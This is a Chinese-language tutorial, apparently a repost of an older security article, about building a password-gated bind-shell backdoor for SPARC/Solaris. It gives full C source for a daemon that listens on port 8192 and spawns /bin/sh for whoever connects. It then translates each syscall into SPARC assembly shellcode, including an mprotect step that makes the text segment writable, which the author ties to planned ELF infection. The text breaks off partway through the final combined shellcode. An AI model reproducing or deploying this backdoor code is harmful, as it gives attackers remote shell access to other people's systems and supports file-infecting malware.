歡迎您光臨本站 註冊首頁

SPARC/Solaris下的Unix後門初探

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  無論從感染ELF文件角度還是編寫遠程shellcode角度都有必要研究SPARC/Solaris下
的網路系統調用。這個方向並沒有現成的資料,我也是摸著石頭過河,給大家探個路。

--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include
#include
#include
#include

int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";

int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子進程 */
{
setsid(); /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 ) /* 子進程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x2000; // 埠8192
// 創建TCP套接字,這裡與Linux有區別
s = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 ) /* 子進程 */
{
close( s );
/* 用c進行通信,做一次弱驗證保護 */
while ( strcmp( pass, "12345678" ) != 0 )
{
read( c, pass, 8 );
}
// 準備輸入輸出重定向,標準技術
dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c ); /* 這裡可以關閉c */
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
exit( 0 ); /* 防止execve()失敗 */
}
close( c ); /* 這裡必須關閉c */
} /* end of while */
}
}
return( 0 ); /* 父進程 */
} /* end of main */
--------------------------------------------------------------------------

該程序只能編譯成動態版本,如果指定-static,發現

[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定義符號 在文件中
endnetconfig /usr/lib/libsocket.a(_soutil.o)
setnetconfig /usr/lib/libsocket.a(_soutil.o)
getnetconfig /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符號參照錯誤. 沒有輸出被寫入s
[scz@ /space/staff/scz/src]>

我嘗試了/usr/lib和/lib下的很多庫,都無法解決這個問題。後來拷貝
/usr/lib/libsocket.a到當前目錄,用ar dv ./libsocket.a _soutil.o處理,然後
鏈接一樣失敗。甚至ar xv ./libsocket.a後用ld命令進行手工鏈接,依舊存在外部
符號無著落的問題。

大家知道,沒有靜態版本,要想得到一個精簡的彙編代碼版本是不可能的,總不能在
浩如煙海的動態鏈接庫里單步跟蹤下去判斷中斷調用發生在哪裡。還好,可以用
truss跟蹤。適當調整上述代碼,用truss跟蹤後有如下內容:

setsid() = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0
so_socket(2, 2, 6, "", 1) = 3
bind(3, 0x00021E60, 16) = 0
listen(3, 1) = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)

這堆信息就不用我再廢話解釋了吧。ok,至此我們有了一個絕妙的想法,既然得不到
靜態版本主要由於libsocket.a外部符號無著落,那麼我用syscall呢?直接進行相對
底層的系統調用,呵呵,其實以前很少用syscall的,這次也是被逼無奈嘛。現在可
以拋棄-lsocket鏈接開關了,這隻豬害人不淺。

關於setsid(),如果用gdb反彙編一路看下去,還是很快定位到中斷調用的,但是我
們可以直接觀察/usr/include/sys/syscall.h,第39號系統調用的註釋中有:

setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )

顯然可以直接替換setsid()。至於signal,對應48號系統調用(SYS_signal),也直接
利用syscall完成。

--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之後,可以拋棄-lsocket鏈接開關
// 由於libsocket.a有點問題,存在外部符號無著落,無法使用靜態鏈接開關
// 但是現在我們拋開了libsocket.a,可以指定-static了,哈哈

#include
#include
#include
#include
#include
#include

int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";

int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子進程 */
{
// setsid(); /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
// SYS_signal
syscall( 48, 1, 1 );
if ( fork() == 0 ) /* 子進程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
// 使用big endian序
serv_addr.sin_port = 0x2000; // 埠8192
// 創建TCP套接字,這裡與Linux有區別
// s = socket( 2, 2, 6 );
// SYS_so_socket
s = syscall( 230, 2, 2, 6 );
// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
// SYS_bind
syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
// listen( s, 1 );
// SYS_listen
syscall( 233, s, 1 );
// signal( SIGCHLD, SIG_IGN );
syscall( 48, 18, 1 );
while ( 1 )
{
// c = accept( s, 0, 0 );
// SYS_accept
c = syscall( 234, s, 0, 0 );
if ( fork() == 0 ) /* 子進程 */
{
// close( s );
// SYS_close
syscall( 6, s );
/* 用c進行通信,做一次弱驗證保護 */
while ( strcmp( pass, "12345678" ) != 0 )
{
// read( c, pass, 8 );
// SYS_read
syscall( 3, c, pass, 8 );
}
// 準備輸入輸出重定向,標準技術
// dup2( c, 0 );
// dup2( c, 1 );
// dup2( c, 2 );
// SPARC/Solaris沒有單獨實現dup2,而是用fcntl實現
// 有點其他問題,請參看APUE,天曉得發生了什麼
// syscall( SYS_fcntl, c, F_DUP2FD, 0 );
syscall( 62, c, 9, 0 );
syscall( 62, c, 9, 1 );
syscall( 62, c, 9, 2 );
// close( c ); /* 這裡可以關閉c */
syscall( 6, c );
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
// exit( 0 ); /* 防止execve()失敗 */
// SYS_exit
syscall( 1, 0 );
}
// close( c ); /* 這裡必須關閉c */
syscall( 6, c );
} /* end of while */
}
}
return( 0 ); /* 父進程 */
} /* end of main */
--------------------------------------------------------------------------

對於fork(),可以gdb ./s后disas _libc_fork查看。粗略瀏覽一遍之後,覺得基本
上每個系統調用都能得到機器碼,下面著手細化每個系統調用,畢竟和i386/Linux不
同了。

--------------------------------------------------------------------------
0x101c0 : call 0x1267c
0x101c4 : nop
0x101c8 : cmp %o0, 0
0x101cc : bne 0x10434
0x101d0 : nop

0x131c4 <_libc_fork> : mov 2, %g1 ! 0x2
0x131c8 <_libc_fork+4> : ta 8
0x131cc <_libc_fork+8> : bcc 0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>: jmp %o5
0x131dc <_libc_fork+24>: nop
0x131e0 <_libc_fork+28>: tst %o1
0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40>
0x131e8 <_libc_fork+36>: mov %g0, %o0
0x131ec <_libc_fork+40>: retl
0x131f0 <_libc_fork+44>: nop
--------------------------------------------------------------------------

綜合判斷後提煉如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8
tst %o1 ! %o1不為0表示是子進程
bne,a .+16 ! 是子進程,跳轉
mov %g0, %o0 ! 延遲插槽,注意理解延遲插槽的執行順序
call .+8
nop
nop ! 需要替換,此時%o0為0,子進程繼續
");
} /* end of main */
--------------------------------------------------------------------------

可以用truss ./asm觀察一下上述代碼是否成功執行了fork()系統調用,man手冊里提
到fork()失敗會返回-1。

下面來觀察syscall( 39, 3 ):

--------------------------------------------------------------------------
0x101d4 : mov 0x27, %o0 ! 0x27
0x101d8 : mov 3, %o1
0x101dc : call 0x10fec
0x101e0 : nop

0x10fec : clr %g1
0x10ff0 : ta 8
0x10ff4 : bcc 0x11008
0x10ff8 : sethi %hi(0x16000), %o5
0x10ffc : or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x11000 : jmp %o5
0x11004 : nop
0x11008 : retl
0x1100c : nop
--------------------------------------------------------------------------

綜合判斷後提煉如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x27, %o0
mov 3, %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

同樣可以用truss ./asm觀察一下上述代碼是否成功執行了setsid()系統調用。

下面來觀察syscall( 48, 1, 1 ):

--------------------------------------------------------------------------
0x101e4 : mov 0x30, %o0 ! 0x30
0x101e8 : mov 1, %o1
0x101ec : mov 1, %o2
0x101f0 : call 0x10fec
0x101f4 : nop
--------------------------------------------------------------------------

綜合判斷後提煉如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

有了上面的研究基礎,下面直接編寫syscall( 1, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x01, %o0
clr %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

ok,到此為止,我們不急於分析網路系統調用,計劃先整和出一個彙編版本的daemon
框架:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8
tst %o1 ! %o1不為0表示是子進程
bne,a .+16 ! 是子進程,跳轉
mov %g0, %o0 ! 延遲插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0為0,子進程繼續
mov 3, %o1
clr %g1
ta 8
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
mov 2, %g1
ta 8
tst %o1 ! %o1不為0表示是子進程
bne,a .+16 ! 是子進程,跳轉
mov %g0, %o0 ! 延遲插槽
call exit
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

哈哈,雖然SPARC總是和我過不去,可也要留下點回憶嘛。

接下來觀察s = syscall( 230, 2, 2, 6 ):

--------------------------------------------------------------------------
0x10244 : mov 0xe6, %o0
0x10248 : mov 2, %o1
0x1024c : mov 2, %o2
0x10250 : mov 6, %o3
0x10254 : call 0x10fec
0x10258 : nop
0x1025c : sethi %hi(0x27800), %o1
0x10260 : st %o0, [ %o1 + 0x1b4 ] ! 0x279b4
--------------------------------------------------------------------------

從這裡可以看出s由%o0返回,其餘的對於我們已經不新鮮了:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
");
} /* end of main */
--------------------------------------------------------------------------

如果去掉最後的st指令,可以用truss ./asm檢驗效果,最後的st指令是保存s的意思,
這裡假設%l7已經指向正確的內存空間。

接下來觀察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):

--------------------------------------------------------------------------
0x1020c : sethi %hi(0x27800), %o0
0x10210 : mov 2, %o1
0x10214 : sth %o1, [ %o0 + 0x1b8 ] ! serv_addr.sin_family = 2;
0x10218 : sethi %hi(0x27800), %o0
0x1021c : mov 4, %o1
0x10220 : or %o0, 0x1b8, %o2 ! 0x279b8
0x10224 : add %o1, %o2, %o0 ! 0x279bc
0x10228 : clr [ %o0 ] ! serv_addr.sin_addr.s_addr = 0;
0x1022c : sethi %hi(0x27800), %o0
0x10230 : mov 2, %o1
0x10234 : or %o0, 0x1b8, %o2 ! 0x279b8
0x10238 : add %o1, %o2, %o0 ! 0x279ba
0x1023c : sethi %hi(0x2000), %o1
0x10240 : sth %o1, [ %o0 ] ! serv_addr.sin_port = 0x2000;

0x10264 : sethi %hi(0x27800), %o1
0x10268 : mov 0xe8, %o0
0x1026c : ld [ %o1 + 0x1b4 ], %o1 ! %o1設置成s
0x10270 : sethi %hi(0x27800), %o3
0x10274 : or %o3, 0x1b8, %o2 ! 0x279b8
0x10278 : mov 0x10, %o3 ! 16
0x1027c : call 0x10fec
0x10280 : nop
--------------------------------------------------------------------------

這兩段比較晦澀難懂,我也無法確認該如何提煉,先嘗試如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一個參數232
ld [ %l7 ], %o1 ! 第二個參數s
mov 4, %o2
add %l7, %o2, %o2 ! 第三個參數&serv_addr
mov 0x10, %o3 ! 最後一個參數16
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

不用觀察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接編寫它們:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xe9, %o0 ! 第一個參數233
ld [ %l7 ], %o1 ! 第二個參數s
mov 0x01, %o2 ! 第三個參數1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

下面是c = syscall( 234, s, 0, 0 )的相關代碼片段,尚未提煉:

--------------------------------------------------------------------------
0x102c0 : sethi %hi(0x27800), %o1
0x102c4 : mov 0xea, %o0
0x102c8 : ld [ %o1 + 0x1b4 ], %o1
0x102cc : clr %o2
0x102d0 : clr %o3
0x102d4 : call 0x10fec
0x102d8 : nop
0x102dc : sethi %hi(0x27800), %o1
0x102e0 : st %o0, [ %o1 + 0x1b0 ] ! 0x279b0
--------------------------------------------------------------------------

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二個參數s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
");
} /* end of main */
--------------------------------------------------------------------------

一個更加殘酷的問題擺到了革命群眾的面前。Linux下有125號系統調用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海撈針一般地找
到了125號系統調用的符號名SYS_mprotect,於是轉回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,還好,116號系統調用就是的。
可入口參數呢?我怎麼知道那些破破的SPARC晶元寄存器中哪個該設置成相關參數呢?
如果你以為革命群眾已經到了最後關頭,那就太不具備革命樂觀主義精神了。萬般無
奈下,我man mprotect了,呼呼,居然有東西出現,那麼下面就不要廢話啦,先趕快
提取mprotect的彙編碼:

--------------------------------------------------------------------------
/* gcc -o test test.c */
#include
#include
#include

int main ( int argc, char * argv[] )
{
char * buf;
char c;

/* 分配一塊內存,擁有預設的rw-保護 */
buf = ( char * )malloc( 1024 + 4096 - 1 );
if ( !buf )
{
perror( "Couldn't malloc( 1024 )" );
exit( errno );
}
/* Align to a multiple of PAGESIZE, assumed to be a power of two */
buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
c = buf[77]; /* Read ok */
buf[77] = c; /* Write ok */
printf( "ok\n" );
/* Mark the buffer read-only. */
// 必須保證這裡buf位於頁邊界上,否則mprotect()失敗,報告無效參數 */
if ( mprotect( buf, 1024, PROT_READ ) )
{
perror( "\nCouldn't mprotect" );
exit( errno );
}
c = buf[77]; /* Read ok */
buf[77] = c; /* Write error, program dies on SIGSEGV */

exit( 0 );
} /* end of main */
--------------------------------------------------------------------------

[scz@ /export/home/scz/src]> gcc -o test test.c
[scz@ /export/home/scz/src]> ./test
ok
段錯誤 (core dumped) <-- -- 內存保護起作用了
[scz@ /export/home/scz/src]>

用gdb ./test看到如下入口參數:

--------------------------------------------------------------------------
0x10bc4 : ld [ %fp + -20 ], %o0
0x10bc8 : mov 0x400, %o1
0x10bcc : mov 1, %o2
0x10bd0 : call 0x21874
0x10bd4 : nop
--------------------------------------------------------------------------

同樣,並不直接使用mprotect系統調用,依舊採用syscall的方式,我們編寫如下代
碼:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x74, %o0 ! 第一個參數116
sethi %hi(0x10000), %o1 ! 第二參數,起始地址
sethi %hi(0x00002000), %o2 ! 第三個參數8096
mov 0x07, %o3 ! 第四個參數7,rwx
clr %g1
ta 8
! call . ! 用於調試,設置個無限循環,然後用pmap觀察
! nop
");
} /* end of main */
--------------------------------------------------------------------------

別看目前代碼這樣清晰明了,可是費了不少手腳。關鍵需要注意的地方是起始地址必
須位於頁邊界上,將來我們可以取得_start之後與一個0xffff0000。甚至再簡單點,
直接就使用上面這段代碼,據我觀察很多應用程序的_start都在0x10000到0x20000之
間。其次,這裡想到了另外一個問題,6.c和7.c在文本段中只設置了4096位元組的可讀
可寫區域,所以重複感染的次數不能太多,即使設置了4*4096位元組的可讀可寫區域,
也不能重複感染太多次,否則就會出現段溢出錯誤,因為可能對只讀內存區域進行了
寫操作;再說重複感染多次,文件尺寸的激增也容易暴露,沒有必要。我們這裡姑且
先固定地使用0x10000做起始地址,回頭列印一下通過程序找到的文本段起始地址,
看看是否符合頁邊界對齊的要求,如果符合,就可以動態設置起始地址。再說吧,
SPARC下羅嗦了許多。

我們可以整合出一個daemon,這個daemon監聽8192埠:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x74, %o0 ! 第一個參數116
sethi %hi(0x10000), %o1 ! 第二參數,起始地址
sethi %hi(0x00002000), %o2 ! 第三個參數8096
mov 0x07, %o3 ! 第四個參數7,rwx
clr %g1
ta 8
bn,a .-4 ! 跳轉去執行call .-4指令
bn,a .-4 ! 跳轉去執行nop
call .-4 ! 跳轉去執行前面這條bn,a .-4指令
nop ! 作為延遲插槽被執行一次,bn,a跳轉后又執行一次
add %o7, 172, %l7 ! %o7 + 172 指向本段代碼尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一個參數232
ld [ %l7 ], %o1 ! 第二個參數s
mov 4, %o2
add %l7, %o2, %o2 ! 第三個參數&serv_addr
mov 0x10, %o3 ! 最後一個參數16
clr %g1
ta 8
mov 0xe9, %o0 ! 第一個參數233
ld [ %l7 ], %o1 ! 第二個參數s
mov 0x01, %o2 ! 第三個參數1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二個參數s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
.ascii \"xxxxxxxx\"
.ascii \"xxxxxxxx\"
.ascii \"xxxxxxxx\"
.ascii \"xxxxxxxx\"
");
} /* end of main */
--------------------------------------------------------------------------

這段代碼僅僅演示了很重要的兩個部分,一個是設置文本段可寫,一個是成功創建套
接字並阻塞在accept()系統調用處,一旦有入連接,程序就正常終止了。幸運的是,
在經歷了太多磨難后,SPARC沒有繼續為難我們,一切按照預想的發展。

編寫syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x06, %o0 ! 第一個參數6
ld [ %l7 ], %o1 ! 第二個參數s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一個參數62
ld [ %l7 + 4 ], %o1 ! 第二個參數c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
mov 0x06, %o0 ! 第一個參數6
ld [ %l7 + 4 ], %o1 ! 第二個參數c
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

還有一個更煩人的execve( name[0], name, 0 ),可以從
<< solaris for sparc下shellcode的編寫(三) >>中偷一些代碼過來:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字元串/bin/sh
add %sp, 8, %o1 ! $o1 存放一個地址,該地址處存放了指向字元串的指針
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存儲空間
std %l4, [%sp - 16] ! 存放字元串
st %o0, [%sp - 8] ! 存放字元串指針
st %g0, [%sp - 4] ! %g0總是為0
mov 0x3b, %g1 ! 將0x3b拷貝到%g1寄存器中
ta 8 ! 執行中斷指令ta 8(execve()完成)
");
} /* end of main */
--------------------------------------------------------------------------

最後研究一下syscall( 3, c, pass, 8 ):

--------------------------------------------------------------------------
0x1033c : mov 3, %o0
0x10340 : ld [ %o1 + 0x1b0 ], %o1
0x10344 : sethi %hi(0x26400), %o3
0x10348 : or %o3, 0x158, %o2 ! 0x26558
0x1034c : mov 8, %o3
0x10350 : call 0x10fec
0x10354 : nop
--------------------------------------------------------------------------

分析后提煉如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x03, %o0 ! 第一個參數3
ld [ %l7 + 4 ], %o1 ! 第二個參數c
add %l7, 8, %o2 ! 第三個參數pass
mov 0x08, %o3 ! 第四個參數8
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------

本以為這就是最後了,猛然記起SPARC沒有repnz cmpsb指令。可以省點事的是我們強
制口令恰好8個位元組,所以比較兩個usigned long即可。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
read:
mov 0x03, %o0 ! 第一個參數3
ld [ %l7 + 4 ], %o1 ! 第二個參數c
add %l7, 8, %o2 ! 第三個參數pass
mov 0x08, %o3 ! 第四個參數8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
");
} /* end of main */
--------------------------------------------------------------------------

實際最初的代碼不是這個樣子,當時忽略了SPARC下嚴格的4位元組對齊的要求,導致在
做弱口令驗證的時候匯流排錯誤,i386下是沒有這種顧慮的。這也說明了SPARC下彙編
編程更加困難,需要更多的細心。

至此,我們需要的各個系統調用、各個關鍵部位的彙編代碼統統搞定,剩下的問題是
組合它們。提醒大家的是,即使我們這次組合順利,也不意味著backdoor for sparc
成功搞定,尚不了解ELF的處理方式是否通用於SPARC和i386之間。如果搞不定,大家
不要亂扔臭雞蛋、西紅柿什麼的,砸到我倒沒什麼,砸到小朋友怎麼辦,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都給你們說過多次了。

言歸正傳,backdoor如果沒搞定,作為彙編版本的遠程shell畢竟提供出來了,對於
以後可能出現的很多研究有借鑒作用,也是不錯的。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不為0表示是子進程
bne,a .+16 ! 是子進程,跳轉
mov %g0, %o0 ! 延遲插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0為0,子進程繼續
mov 3, %o1
clr %g1
ta 8 ! setsid()
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8 ! signal( SIGHUP, SIG_IGN )
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不為0表示是子進程
bne,a .+16


[火星人 ] SPARC/Solaris下的Unix後門初探已經有585次圍觀

http://coctec.com/docs/security/show-post-73073.html